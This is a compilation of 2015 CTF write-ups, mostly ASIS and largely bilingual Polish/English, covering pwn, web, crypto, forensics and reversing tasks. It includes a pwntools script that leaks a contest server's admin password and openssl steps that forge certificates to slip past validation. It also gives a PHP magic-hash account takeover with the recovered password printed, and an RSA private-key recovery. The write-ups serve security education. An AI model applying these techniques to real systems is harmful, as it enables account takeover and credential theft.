w=true)![](emotions/whistling.gif?raw=true)![](emotions/whistling2.gif?raw=true)![](emotions/winking.gif?raw=true)![](emotions/worried.gif?raw=true)![](emotions/yawn.gif?raw=true)![](emotions/yinyang.gif?raw=true)
## Shop-1 (pwn, 100p, 34 solves) > Our marvelous Bragisdumus shop just opened. Come and see [our beautiful Bragisdumus](bragisdumu-shop)! > Login as an admin! get the admin password. > nc 185.106.120.220 1337 ### PL[ENG](#eng-version) Z zadaniem otrzymujemy binarkę serwera usługi typu CRUD z wpisami w pamięci procesu. Zgodnie z opisem celem pierwszej części jest zdobycie hasła administratora. Możemy również zalogować się na gościa z loginem i hasłem "guest". W głównej funkcji programu widzimy, że hasło administratora od momentu wczytania go z pliku "żyje" bardzo krótko: ```cpassword = sub_FB5("adminpass.txt", &length);result = memcmp(input_password, password, length);free(password);``` Sama funkcja wczytująca hasło z pliku wydaje się w porządku. W takim razie sprawdźmy co z wynikiem `memcmp`, a konkretnie gdzie na stosie znajduje się zmienna `result`. ```cchar input_login[32]; // [bp-70h]char input_password[64]; // [bp-50h]int result; // [bp-10h]``` Widzimy zatem, że zaraz za buforami na wprowadzony login i hasło. ```cprintf("Logged in as %s\n\n", input_login);``` Wprowadzony login jest również wypisywany. Może nam to sugerować, że chodzić może o wyciek `result`. Zwłaszcza, że w funkcji wczytującej tekst nie widzimy wstawienia null-byte'a na koniec. Musimy więc wysłać przynajmniej 32 znaki w loginie i 64 w haśle. Wynik `memcmp` w naszym przypadku to dokładna różnica pomiędzy pierwszymi różniącymi się bajtami. Możemy zatem znak po znaku wyciągnąć hasło. ```pythonimport pwnlib#host = 'localhost'host = '185.106.120.220' client = pwnlib.tubes.remote.remote(host, 1337) def login(username, password): client.recvuntil('Username: ') client.sendline(username) client.recvuntil('Password: ') client.sendline(password) password = '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~' for i in range(38): login('adminxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', password) login('guest', 'guest') n = int(client.recvlines(2)[1][109:].encode('hex'), 16) password = password[:i] + chr(ord(password[i]) - n) + password[i + 1:] client.sendline('8') print password``` Hasło oraz flaga to `ASIS{304b0f16eb430391c6c86ab0f3294211}`. ### ENG version With the task we get a binary of a CRUD service in some entries inside process memory. According to task description the goal is to get the admin password. We can also login to a gues account with user/pass "gest". In the main function of the program we can see that the admin password "lives very short" after it is read from the file: ```cpassword = sub_FB5("adminpass.txt", &length);result = memcmp(input_password, password, length);free(password);``` The password reading function itself seems to be fine at the first glance. Therefore we check what happens with `memcmp` result, specifically: where on the stack is the `result` variable. ```cchar input_login[32]; // [bp-70h]char input_password[64]; // [bp-50h]int result; // [bp-10h]``` We can see that right after the login and passwrod buffers. ```cprintf("Logged in as %s\n\n", input_login);``` The login is also printed out. This can be a suggestion that it's about leaking `result`. Especially that in the function reading the text there is no null-byte termination inserted. So we need to sent at least 32 characters in login and 64 in password. The result of `memcmp` in our case is the exact difference between first differing bytes. Therefore we can extract the password character by character: ```pythonimport pwnlib#host = 'localhost'host = '185.106.120.220' client = pwnlib.tubes.remote.remote(host, 1337) def login(username, password): client.recvuntil('Username: ') client.sendline(username) client.recvuntil('Password: ') client.sendline(password) password = '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~' for i in range(38): login('adminxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', password) login('guest', 'guest') n = int(client.recvlines(2)[1][109:].encode('hex'), 16) password = password[:i] + chr(ord(password[i]) - n) + password[i + 1:] client.sendline('8') print password``` Password and the flag: `ASIS{304b0f16eb430391c6c86ab0f3294211}`.
[](ctf=defcamp-quals-2015)[](type=reverse)[](tags=hardcoded) We are given a [binary](../r200.bin). ```bash$ file r200.bin r200.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=22e68980e521b43c90688ed0693df78150b10211, stripped``` This one has the same ptrace protection as in [r100](../../r100).We use the same technique to bypass ptrace check.```bashgdb-peda$ b *0x40087dBreakpoint 1 at 0x40087dgdb-peda$ r..gdb-peda$ set $rax=0```Now the decompiling doesn't help much. We move to manually testing the flow path of binary. ```asm mov DWORD PTR [rbp-0x20],0x5 mov DWORD PTR [rbp-0x1c],0x2 mov DWORD PTR [rbp-0x18],0x7 mov DWORD PTR [rbp-0x14],0x2 mov DWORD PTR [rbp-0x10],0x5 mov DWORD PTR [rbp-0xc],0x6```This seems interesting. A little bit of analysis shows ```bash0x4007af: mov rax,QWORD PTR [rip+0x2008ca] # 0x601080```On examining memory at 0x601080 and nearby areas we see the obvious. ```bashgdb-peda$ x/2xw 0x6020100x602010: 0x00000001 0x0000006egdb-peda$ x/2xw 0x6020300x602030: 0x00000002 0x0000006fgdb-peda$ x/2xw 0x6020500x602050: 0x00000003 0x00000070gdb-peda$ x/2xw 0x6020700x602070: 0x00000004 0x00000071```We see that 0x6e(n) is mapped to 0, 0x6f(o) to 2 and so on.so 5,2,7,2,5,6 gives us rotors Flag> rotors
## Big Lie (forensic, 100p, 101 solves) > Find the [flag](biglie.pcap). ### PL[ENG](#eng-version) Otrzymany plik pcap ładujemy do Wiresharka i na podstawie wyeksportowanych obiektach z sesji HTTP dochodzimy do wniosku, że użytkownik skorzystał z usługi pastebin, która przed wysłaniem danych szyfruje je lokalnie, a klucz przesyłany jest za pomocą części "fragment" (to, co za `#`) URLa. Jest to część, która nie jest częścią requestu HTTP i nie jest przesyłana serwerowi (i tym samym nie znalazło się w zrzucie danych sieciowych). Ale po dalszej analizie sesji HTTP znajdujemy pełnego URLa (razem z kluczem) w requestach do wewnętrznej usługi monitorującej ruch. ![](img1.png) Po urldecode:![](img2.png) Zawartość "pasty":![](img3.png) Po przeklejeniu do edytora z wyłączonym word-wrap:![](img4.png) `ASIS{e29a3ef6f1d71d04c5f107eb3c64bbbb}` ### ENG version We load the inpit pcap file in Wireshark and based on the exported HTTP session objects we conclude that the user was using pastebin service which locally encrypts the data before sending them, and the key is sent via "fragment" of the URL (what is after `#`). It's the part that is not a part of HTTP request and is not sent to the server (and therefore it's not in the network communication dump). However after firther analysis of the HTTP session we find the full URL (the encryption key included) in requests for internal traffic monitoring service. ![](img1.png) After urldecode:![](img2.png) pastebin contents:![](img3.png) When placed in an editor with word-wrap:![](img4.png) `ASIS{e29a3ef6f1d71d04c5f107eb3c64bbbb}`
## Which one is flag? (trivia, 75p, 89 solves) > Which one is [flag](flagBag.zip)? ### PL[ENG](#eng-version) Otrzymujemy plik tekstowy z prawie 300 tysiącami flag. Jednak pierwsze co rzuca się w oczy to po jednym null byte na wiersz. ![](img1.png) Sprawdzamy ile tych null byte-ów jest: okazuje się, że o jeden mniej niż wszystkich flag. Znajdźmy więc flagę bez niego - najpierw usuwamy wszystkie znaki w każdym z wierszy od nullbyte'a: `\x00.+`, a następnie szukamy znaku `}`. Pozostał tylko jeden - we fladze: `ASIS{dc99999733dd1f4ebf8c199753c05595}` ### ENG version We get a text file wiht almost 300,000 flags. However, first thing that we notice is that there is a single null byte per row. ![](img1.png) We check the number of null bytes and it turns out it's the number of all flags -1. So we look for the flag without the null byte - first we remove all characters in every row starting from nullyte `\x00.+` and then we search for `}`. There is only one - in the flag: `ASIS{dc99999733dd1f4ebf8c199753c05595}`
## calcexec I (pwn, 200p, 7 solves) > 2+2 == [5](Calc.exe)? > nc 185.82.202.146 1337 ### PL[ENG](#eng-version) Zadanie to usługa ewaluatora wyrażeń matematycznych napisana w C#. Widzimy, że jedną z funkcji ewalutora jest wypisanie nam flagi. ```csharpcalcEngine.RegisterFunction("FLAG", 0, (p => File.ReadAllText("flag1")));``` Niestety, konstruktor ewalutora przyjmuje listę dozwolonych funkcji i domyślnie jest ona pusta. Możemy natomiast je podać w certyfikacie x509 w jego dodatkowym rozszerzeniu. ```csharpX509Extension x509Extension = cert.Extensions["1.1.1337.7331"];if (x509Extension != null) calcEngine = Program.InitCalcEngine(Enumerable.ToArray( Enumerable.Select(Encoding.Default.GetString( x509Extension.RawData).Split(','), (x => x.Trim()))));``` Niestety nie możemy wysłać jednak dowolnego certyfikatu. Są one w kilku krokach weryfikowane. Nie możemy podać certyfikatu o subjekcie już wczytanego: ```csharpstring key = new X509Name(x509Certificate2.Subject).ToString();if (this.Items.ContainsKey(key)) throw new Exception("Certificate is already loaded!");``` Subject certyfikatu musi zawierać podany identifier:```csharpreturn Enumerable.SingleOrDefault(Enumerable.OfType<string>( new X509Name(cert.Subject).GetValues( new DerObjectIdentifier("2.5.4.1337")))) == "calc.exe";``` Issuer certyfikatu nie może być nim sam:```csharpstring name1 = new X509Name(certificateName).ToString();X509Certificate2 certificateByName = this.Store.FindCertificateByName(name1);string name2 = new X509Name(certificateByName.Issuer).ToString();if (name2 == name1) return false;``` Oraz ostatecznie jest sprawdzana jego sygnatura kluczem publicznym wczytanego wcześniej issuera.```csharpAsn1Sequence asn1Sequence = new Asn1InputStream(this.Store.FindCertificateByName(name2) .GetPublicKey()).ReadObject();DotNetUtilities.FromX509Certificate(certificateByName).Verify( new RsaKeyParameters(false, ((DerInteger) asn1Sequence[0]).Value, ((DerInteger) asn1Sequence[1]).Value));``` Jeżeli któryś z checków nie powiedzie się, wczytany certyfikat jest usuwany ze store'a. Żeby móc wczytać własny certyfikat musimy znaleźć lukę w którymś z powyższych kodów. Dwa ostatnie zamknięte były w bloku try-catch, ale jeżeli udałoby się wywołać wyjątek w jednym z pozostałych to certyfikat nie zostałby usunięty. Okazuje się, że certyfikaty x509 mogą posiadać wiele identyfikatorów z tą samą nazwą. Jeżeli więc spreparujemy certyfikat z więcej niż jednym identyfikatorem "2.5.4.1337" spowoduje to wyjątek przy wywołaniu `SingleOrDefault()`, które oczekuje co najwyżej jednego elementu. Gdyby w ten sposób udało się wczytać certyfikat to będziemy mogli stworzyć certyfikat, który przejdzie wszystkie te checki. ```openssl req -new -nodes -keyout CA.key -subj "/CN=MyCalc/O=MyCalc/OU=MyCalc/calc=MyCalc/calc=MyCalc" > CA.csropenssl x509 -sha1 -req -signkey CA.key < CA.csr > CA.crtopenssl req -new -nodes -keyout client.key -config config -extensions cert_extensions > client.csropenssl x509 -extfile config -extensions cert_extensions -sha1 -req -CAkey CA.key -CA CA.crt < client.csr > client.crt ``` Oraz plik konfiguracyjny dla openssl: ```oid_section = new_oids [ new_oids ] fooname = 2.5.4.1337 [ req ] default_bits = 2048 distinguished_name = req_distinguished_name attributes = req_attributes prompt = no x509_extensions = cert_extensions [ req_distinguished_name ] fooname = calc.exeCN = calc.exeO = calc.exeemailAddress = calc@asis-ctf.irL = IranC = IR [ req_attributes ] [ cert_extensions ] 1.1.1337.7331 = ASN1:UTF8:ABS,ACOS,ASIN,ATAN,ATAN2,CEILING,COS,COSH,EXP,FLOOR,INT,LN,LOG,LOG10,PI,POWER,RAND,RANDBETWEEN,SIGN,SIN,SINH,SQRT,SUM,SUMIF,TAN,TANH,TRUNC,AVERAGE,AVERAGEA,COUNT,COUNTA,COUNTBLANK,COUNTIF,MAX,MAXA,MIN,MINA,STDEV,STDEVA,STDEVP,STDEVPA,VAR,VARA,VARP,VARPA,CHAR,CODE,CONCATENATE,FIND,LEFT,LEN,LOWER,MID,PROPER,READ,REPLACE,REPT,RIGHT,SEARCH,SUBSTITUTE,T,TEXT,TRIM,UPPER,VALUE,WRITE,FLAG``` W ten sposób przygotowane certyfikaty udaje się wczytać do programu oraz wywołać funkcję FLAG. `ASIS{e5cb5e25f77c1da6626fb78a48a678f3}` ### ENG version The task is a mathematical expressions evaluator service written in C#. We can see that one of the functions is printing the flag. ```csharpcalcEngine.RegisterFunction("FLAG", 0, (p => File.ReadAllText("flag1")));``` Unfortunately, the evaluator constructor takes a list of allowed functions and by default it's empty. We can, however, add those in x509 certificates in the added extension. ```csharpX509Extension x509Extension = cert.Extensions["1.1.1337.7331"];if (x509Extension != null) calcEngine = Program.InitCalcEngine(Enumerable.ToArray( Enumerable.Select(Encoding.Default.GetString( x509Extension.RawData).Split(','), (x => x.Trim()))));``` However, we can't just send any certificate. They are verified in multiple steps. We can't send a certificate with already loaded subject: ```csharpstring key = new X509Name(x509Certificate2.Subject).ToString();if (this.Items.ContainsKey(key)) throw new Exception("Certificate is already loaded!");``` Subject of the certificate has to contain given identifier:```csharpreturn Enumerable.SingleOrDefault(Enumerable.OfType<string>( new X509Name(cert.Subject).GetValues( new DerObjectIdentifier("2.5.4.1337")))) == "calc.exe";``` Certificate issuer can't be himself:```csharpstring name1 = new X509Name(certificateName).ToString();X509Certificate2 certificateByName = this.Store.FindCertificateByName(name1);string name2 = new X509Name(certificateByName.Issuer).ToString();if (name2 == name1) return false;``` And finally it is checked with public key of the issuer read previously.```csharpAsn1Sequence asn1Sequence = new Asn1InputStream(this.Store.FindCertificateByName(name2) .GetPublicKey()).ReadObject();DotNetUtilities.FromX509Certificate(certificateByName).Verify( new RsaKeyParameters(false, ((DerInteger) asn1Sequence[0]).Value, ((DerInteger) asn1Sequence[1]).Value));``` If any of the checks fails the certificate is removed from the store. In order to be able to load our own certificate we need to find a loophole in one of the codes above. The last two are in try-catch block, but if we could raise an exception in one of the remaining ones then the certificate would not get removed. It turns out that x509 certificates can have multiple identifiers with the same name. Therefore if we prepare a certificate with more than one identifier "2.5.4.1337" it will cause an exception during `SingleOrDefault()` call, which expects at most one element. If we could load a certificate this way, we could create a certificate which will pass all the checks. ```openssl req -new -nodes -keyout CA.key -subj "/CN=MyCalc/O=MyCalc/OU=MyCalc/calc=MyCalc/calc=MyCalc" > CA.csropenssl x509 -sha1 -req -signkey CA.key < CA.csr > CA.crtopenssl req -new -nodes -keyout client.key -config config -extensions cert_extensions > client.csropenssl x509 -extfile config -extensions cert_extensions -sha1 -req -CAkey CA.key -CA CA.crt < client.csr > client.crt ``` And the openssl config file: ```oid_section = new_oids [ new_oids ] fooname = 2.5.4.1337 [ req ] default_bits = 2048 distinguished_name = req_distinguished_name attributes = req_attributes prompt = no x509_extensions = cert_extensions [ req_distinguished_name ] fooname = calc.exeCN = calc.exeO = calc.exeemailAddress = calc@asis-ctf.irL = IranC = IR [ req_attributes ] [ cert_extensions ] 1.1.1337.7331 = ASN1:UTF8:ABS,ACOS,ASIN,ATAN,ATAN2,CEILING,COS,COSH,EXP,FLOOR,INT,LN,LOG,LOG10,PI,POWER,RAND,RANDBETWEEN,SIGN,SIN,SINH,SQRT,SUM,SUMIF,TAN,TANH,TRUNC,AVERAGE,AVERAGEA,COUNT,COUNTA,COUNTBLANK,COUNTIF,MAX,MAXA,MIN,MINA,STDEV,STDEVA,STDEVP,STDEVPA,VAR,VARA,VARP,VARPA,CHAR,CODE,CONCATENATE,FIND,LEFT,LEN,LOWER,MID,PROPER,READ,REPLACE,REPT,RIGHT,SEARCH,SUBSTITUTE,T,TEXT,TRIM,UPPER,VALUE,WRITE,FLAG``` We succeed in loading certificates prepared this way and call the FLAG function: `ASIS{e5cb5e25f77c1da6626fb78a48a678f3}`
## ones_and_zer0es (crypto, 50p, 987 solves)> [eps1.1_ones-and-zer0es_c4368e65e1883044f3917485ec928173.mpeg](ones-and-zer0es.bin) ### PL Version`for ENG version scroll down` Pobieramy wskazany plik. Jego zawartość to: 01100110011011000110000101110100011110110101000001100101011011110111000001101100011001010010000001100001011011000111011101100001 01111001011100110010000001101101011000010110101101100101001000000111010001101000011001010010000001100010011001010111001101110100 00100000011001010111100001110000011011000110111101101001011101000111001100101110011111010010000001001001001001110111011001100101 00100000011011100110010101110110011001010111001000100000011001100110111101110101011011100110010000100000011010010111010000100000 01101000011000010111001001100100001000000111010001101111001000000110100001100001011000110110101100100000011011010110111101110011 01110100001000000111000001100101011011110111000001101100011001010010111000100000010010010110011000100000011110010110111101110101 00100000011011000110100101110011011101000110010101101110001000000111010001101111001000000111010001101000011001010110110100101100 00100000011101110110000101110100011000110110100000100000011101000110100001100101011011010010110000100000011101000110100001100101 01101001011100100010000001110110011101010110110001101110011001010111001001100001011000100110100101101100011010010111010001101001 01100101011100110010000001100001011100100110010100100000011011000110100101101011011001010010000001100001001000000110111001100101 01101111011011100010000001110011011010010110011101101110001000000111001101100011011100100110010101110111011001010110010000100000 01101001011011100111010001101111001000000111010001101000011001010110100101110010001000000110100001100101011000010110010001110011 00101110 Robimy pierwszą oczywistą rzecz i dekodujemy te bity jako tekst: flat{People always make the best exploits.} I've never found it hard to hack most people. If you listen to them, watch them, th2(...) Mamy flagę i 50 punktów ### ENG Version We download provided file. Its contents: 01100110011011000110000101110100011110110101000001100101011011110111000001101100011001010010000001100001011011000111011101100001 01111001011100110010000001101101011000010110101101100101001000000111010001101000011001010010000001100010011001010111001101110100 00100000011001010111100001110000011011000110111101101001011101000111001100101110011111010010000001001001001001110111011001100101 00100000011011100110010101110110011001010111001000100000011001100110111101110101011011100110010000100000011010010111010000100000 01101000011000010111001001100100001000000111010001101111001000000110100001100001011000110110101100100000011011010110111101110011 01110100001000000111000001100101011011110111000001101100011001010010111000100000010010010110011000100000011110010110111101110101 00100000011011000110100101110011011101000110010101101110001000000111010001101111001000000111010001101000011001010110110100101100 00100000011101110110000101110100011000110110100000100000011101000110100001100101011011010010110000100000011101000110100001100101 01101001011100100010000001110110011101010110110001101110011001010111001001100001011000100110100101101100011010010111010001101001 01100101011100110010000001100001011100100110010100100000011011000110100101101011011001010010000001100001001000000110111001100101 01101111011011100010000001110011011010010110011101101110001000000111001101100011011100100110010101110111011001010110010000100000 01101001011011100111010001101111001000000111010001101000011001010110100101110010001000000110100001100101011000010110010001110011 00101110 We start with an obvious approach and we decode given bits as ascii text: flat{People always make the best exploits.} I've never found it hard to hack most people. If you listen to them, watch them, th2(...) We have the flag and 50 points.
## What's example flag? (triv, 1p) ### PL[ENG](#eng-version) Przykładowa flaga znajduje się tutaj http://asis-ctf.ir/rules/ : ASIS{476f20676f6f2e676c2f67776a625466} Ale nie o nią chodzi. Hexy przypominające hash MD5 są tak naprawdę tekstem zakodowanym w ASCII. bytes.fromhex('476f20676f6f2e676c2f67776a625466').decode('ascii') rozwiązuje się do: Go goo.gl/gwjbTf pod tym linkiem znajduje się prawdziwa flaga: hi all, the flag is: ASIS{c0966ad97f120b58299cf2a727f9ca59} ### ENG version There is an example flag in http://asis-ctf.ir/rules/ : ASIS{476f20676f6f2e676c2f67776a625466} However, that's not the flag we are looking for. This supposed MD5 hash is actually hex encoded ASCII. bytes.fromhex('476f20676f6f2e676c2f67776a625466').decode('ascii') evaluates to: Go goo.gl/gwjbTf where we can find the real flag: hi all, the flag is: ASIS{c0966ad97f120b58299cf2a727f9ca59}
## Bodu (crypto, 175p) ###PL[ENG](#eng-version) Zostają nam dane [klucz publiczny](pub.key) i [zaszyfrowana wiadomość](flag.enc), zacznijmy od spojrzenia jak wygląda klucz publiczny: ![alt text](pubkey.png) Od razu rzuca się w oczy dosyć spory exponent (najczęściej widzi się należące do liczb pierwszy Fermata, a więc `3, 5, 17, 256, 65536`) Czyli szukamy jakiegoś ataku na RSA(możliwe, że exponent), z pomocą przychodzi nam [Boneh Durfee Attack](https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage) Użycie sprowadza się do podstawienia naszego n i e, po chwili dostajemy: `=== solutions found ===x: 166655144474518261230652989223296290941028672984834812738633465334956148666716172y: -1620506135779940147224760304039194820968390775056928694397695557680267582618799089782283100396517871978055320094445221632538028739201519514071704255517645d: 89508186630638564513494386415865407147609702392949250864642625401059935751367507 === 0.260915994644 seconds ===` [Podstawiamy](solve.py) do `pow(ciphertext, d, n)` iiiii.... ![alt text](odd.png) To nie dobrze, może spróbujemy dodać `0` na początku? `?—)ò~Ðã?üéÛaû¨0??JÀîr|¹Â|Ú÷ûš5Ù° ?r'Ž{§¯†?0âËúJ4Þ¤<úô!›EþX}êïî³Ë?g’/óF>gá}þ‘74|ú(¾¶H??šASIS{b472266d4dd916a23a7b0deb5bc5e63f}` ### ENG version In this task, we're given a [public key](pub.key) and a [encrypted message](flag.enc), let's start by looking inside the public key: ![alt text](pubkey.png) The exponent seems quite high(you usually see exponents from the set of Fermat primes, `3, 5, 17, 256, 65536`) So we're looking for an RSA attack(possibly including the high exponent), after some googling we come across a [Boneh Durfee Attack](https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage) Using it comes down to just entering our n and e, after a while of computing the program outputs: `=== solutions found ===x: 166655144474518261230652989223296290941028672984834812738633465334956148666716172y: -1620506135779940147224760304039194820968390775056928694397695557680267582618799089782283100396517871978055320094445221632538028739201519514071704255517645d: 89508186630638564513494386415865407147609702392949250864642625401059935751367507 === 0.260915994644 seconds ===` Great, let's try to decipher the message using that d by [calculating](solve.py) the value of pow(ciphertext, d, n) ![alt text](odd.png) That's weird, maybe a 0 at the beginning will help? `?—)ò~Ðã?üéÛaû¨0??JÀîr|¹Â|Ú÷ûš5Ù° ?r'Ž{§¯†?0âËúJ4Þ¤<úô!›EþX}êïî³Ë?g’/óF>gá}þ‘74|ú(¾¶H??šASIS{b472266d4dd916a23a7b0deb5bc5e63f}`
## Impossible (web, 225p) ### PL[ENG](#eng-version) Według opisu zadania, flaga jest schowana na stronie http://impossible.asis-ctf.ir/Możemy tam zakładać konta, ale muszą one zostać aktywowane żeby się zalogować.Jak zwykle zaczynamy od ściągnięcia `robots.txt` aby sprawdzić co autorzy strony chcą przed nami ukryć.http://impossible.asis-ctf.ir/robots.txt ma tylko jeden wpis: User-agent: * Disallow: /backup Pod http://impossible.asis-ctf.ir/backup/ znajdziemy zrzut całej strony. Znacząco ułatwia nam to zadanie. W `functions.php` znajduje się mini-implementacja bazy danych: function username_exist($username) { $data = file_get_contents('../users.dat'); $users = explode("\n", $data); foreach ($users as $key => $value) { $user_data = explode(",", $value); if ($user_data[2] == '1' && base64_encode($username) == $user_data[0]) { return true; } } return false; } function add_user($username, $email, $password) { file_put_contents("../users.dat", base64_encode($username) . "," . base64_encode($email) . ",0\n", $flag = FILE_APPEND); file_put_contents("../passwords.dat", md5($username) . "," . base64_encode($password) . "\n", $flag = FILE_APPEND); } function get_user($username) { $data = file_get_contents('../passwords.dat'); $passwords = explode("\n", $data); foreach ($passwords as $key => $value) { $user_data = explode(",", $value); if (md5($username) == $user_data[0]) { return array($username, base64_decode($user_data[1])); } } return array("", ""); } `register.php` umożliwia nam stworzenie nowego konta - o ile nie istnieje już jakieś o tej samej nazwie: $check = preg_match("/^[a-zA-Z0-9]+$/", $_POST['username']); if (!$check) { } elseif (username_exist($_POST['username'])) { $result = 1; $title = "Registration Failed"; } else { add_user($_POST['username'], $_POST['email'], $_POST['password']); $user_info = get_user($_POST['username']); $result = 2; $title = "Registration Complete"; } `index.php` umożliwia zalogowanie się - o ile użytkownik jest aktywny i ma pasujące hasło: if(username_exist($_POST['username'])) { $user_info = get_user($_POST['username']); if ($user_info[1] == $_POST['password']) { $login = true; } } Nasz atak wykorzystuje kilka luk: 1. W `passwords.dat` nazwy użytkownika są zahaszowane MD5 ale hasła są tylko zakodowane base64.2. `register.php` wypisuje hasło nowo utworzonego użytkownika. Albo, dokładniej, hasło pierwszego użytkownika którego nazwa ma takie samo md5.3. Skróty md5 są porównywane operatorem `==`. Jeżeli porównywane łańcuchy są poprawnymi liczbami, zostaną porównane jako liczby.4. Dziwnym zbiegiem okoliczności aktywny użytkownik z takim numerycznym md5 już istnieje w bazie: `md5("adm2salwg") == "0e004561083131340065739640281486"` `0e004561083131340065739640281486` po przekonwertowaniu na liczbę jest równe 0 (w notacji matematycznej 0*10<sup>4561083131340065739640281486</sup>). Potrzebna nam będzie inna nazwa, której md5 jest również równe 0 po skonwertowaniu na liczbę.Nawet w PHP, przeszukując kolejne liczby dostaniemy wynik po zaledwie kilku minutach: $p = md5("adm2salwg"); $i = 0; while(true) { if(md5("".$i) == $p) { echo $i; } $i++; } Pierwsze rozwiązanie: `240610708` nie zadziałało. Użytkownik z taką nazwą już istniał w bazie. Drugie rozwiązanie: `314282422` zadziałało bez problemu.Wystarczy stworzyć nowe konto o nazwie: `314282422` a skrypt odeśle nam hasło użytkownika `adm2salwg`: 1W@ewes$%rq0 Po zalogowaniu jako `adm2salwg`, pojawia się flaga: ASIS{d9fb4932eb4c45aa793301174033dff9} Skrypty posiadają jeszcze jedną, potencjalnie użyteczną, lukę. `file_put_contents` nie jest operacją atomową.Przez rejestrację wielu użytkowników z długimi nazwami i emailami równolegle, powinno się dać utworzyć niepoprawne wpisy w obu plikach.Nie udało nam się tego jednak wykorzystać. ### ENG version The flag is supposed to be hidden here: http://impossible.asis-ctf.ir/It looks like we can add new accounts, but they must be activated before logging in.As usual, we start by examining `robots.txt` to find what we are not supposed to look at.http://impossible.asis-ctf.ir/robots.txt contains just two lines: User-agent: * Disallow: /backup http://impossible.asis-ctf.ir/backup/ contains dump of the whole site which is going to make the whole thing a lot easier. `functions.php` contains an ad-hoc implementation of a database: function username_exist($username) { $data = file_get_contents('../users.dat'); $users = explode("\n", $data); foreach ($users as $key => $value) { $user_data = explode(",", $value); if ($user_data[2] == '1' && base64_encode($username) == $user_data[0]) { return true; } } return false; } function add_user($username, $email, $password) { file_put_contents("../users.dat", base64_encode($username) . "," . base64_encode($email) . ",0\n", $flag = FILE_APPEND); file_put_contents("../passwords.dat", md5($username) . "," . base64_encode($password) . "\n", $flag = FILE_APPEND); } function get_user($username) { $data = file_get_contents('../passwords.dat'); $passwords = explode("\n", $data); foreach ($passwords as $key => $value) { $user_data = explode(",", $value); if (md5($username) == $user_data[0]) { return array($username, base64_decode($user_data[1])); } } return array("", ""); } `register.php` allows you to add new account, unless one already exists and is active: $check = preg_match("/^[a-zA-Z0-9]+$/", $_POST['username']); if (!$check) { } elseif (username_exist($_POST['username'])) { $result = 1; $title = "Registration Failed"; } else { add_user($_POST['username'], $_POST['email'], $_POST['password']); $user_info = get_user($_POST['username']); $result = 2; $title = "Registration Complete"; } `index.php` allows you to login, if user is active and has matching password: if(username_exist($_POST['username'])) { $user_info = get_user($_POST['username']); if ($user_info[1] == $_POST['password']) { $login = true; } } Our exploit leverages several issues in those scripts. 1. `passwords.dat` contains md5 sums of user names but passwords are base64 encoded.2. `register.php` will echo your password back to you. Or, actually, password of first user whose name has the same md5 as yours.3. md5s are compared using == operator. If compared strings are valid numbers, they will be parsed first.4. By strange coincidence active user with such numeric md5 already exists in the database: `md5("adm2salwg") == "0e004561083131340065739640281486"` `0e004561083131340065739640281486` parses to number 0. We just need a different user name which md5 also parses to 0.Brute forcing that, even in PHP, only takes a couple of minutes. $p = md5("adm2salwg"); $i = 0; while(true) { if(md5("".$i) == $p) { echo $i; } $i++; } First solution: `240610708` didn't work. There already was an account with that name. But the second one: `314282422` worked fine.All you have to do is create account with user name: `314282422` and script will echo you `adm2salwg`'s password: 1W@ewes$%rq0 After logging in as `adm2salwg`, flag is displayed: ASIS{d9fb4932eb4c45aa793301174033dff9} There is one more potentially critical issue in those scripts. `file_put_contents` is not atomic.By registering a lot of users with long names and emails, it should be possible to create bogus entries in both databases.We weren't able to exploit it though.
# ASIS CTF Final 2015 - Biglie (Forensic, 100pts) ## Problem We've got pcap file. This is network communication with 0bin.asis.io server, which is a service with encrypted pastebins. Our goal is to find the flag. ## Solution Uloaded pastebins are encrypted with Stanford Javascript Crypto Library (SJCL) library (https://crypto.stanford.edu/sjcl/).It uses AES algorithm at 128, 192 or 256 bits. The key needed to decrypt pastebin is added to url after # (hash) mark what means that is not sent to the server. Full url of encoded pastebin look like this example:```http://0bin.asis.io/paste/TINcoc0f#-krvZ7lGwZ4e2JQ8n+3dfsMBqyN6Xk6SUzY7i0JKbpo``` But in pcap file we can only reveal fragment without the key, for example: ```http://0bin.asis.io/paste/TINcoc0f``` It returns us encrypted pastebin: {"iv":"adzR1bn929d5vf53R6BuDg","salt":"4SYEnmaSS58","ct":"J7QU491qMea5JTkR1y5MSH/UBp5QHIjHq7PeRRaqYn/rPsY1h1wiPbFp/gMufQ1w"} ![Pastebin](https://github.com/bl4de/ctf/blob/master/2015/ASIS_CTF_2015/Biglie_Forensic100/biglie-packet.png) To see decrypted content, we need to figure out what the key was used. When we take a look at pcap file, we can find requests to some web statistic tool, Piwik. After each request, Piwik sends its own request to statistic server with full information about original request, inluding full url (as it is only the one of Piwik's GET request it's complete including part after # sign): ```/piwik.php?action_name=0bin%20-%20encrypted%20pastebin&idsite=1&rec=1&r=776276&h=11&m=27&s=12&url=http%3A%2F%2F0bin.asis.io%2Fpaste%2FTINcoc0f%23-krvZ7lGwZ4e2JQ8n%2B3dfsMBqyN6Xk6SUzY7i0JKbpo&urlref=http%3A%2F%2F0bin.asis.io%2F&_id=dd17974841486b63&_idts=1443081356&_idvc=1&_idn=0&_refts=0&_viewts=1443081356&send_image=0&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=1&java=1&gears=0&ag=0&cookie=1&res=1440x900&gt_ms=108``` We can see key used to encrypt this pastebin - *-krvZ7lGwZ4e2JQ8n+3dfsMBqyN6Xk6SUzY7i0JKbpo* ![Piwik request](https://github.com/bl4de/ctf/blob/master/2015/ASIS_CTF_2015/Biglie_Forensic100/biglie-packet-to-piwik-with-flag.png) After use this key we can reveal decrypted content of pastebin: ``` http://0bin.asis.io/paste/TINcoc0f#-krvZ7lGwZ4e2JQ8n+3dfsMBqyN6Xk6SUzY7i0JKbpohi all,Where is the flag? :-)``` When we take a look for all of such requests in pcap file, we found three of them: 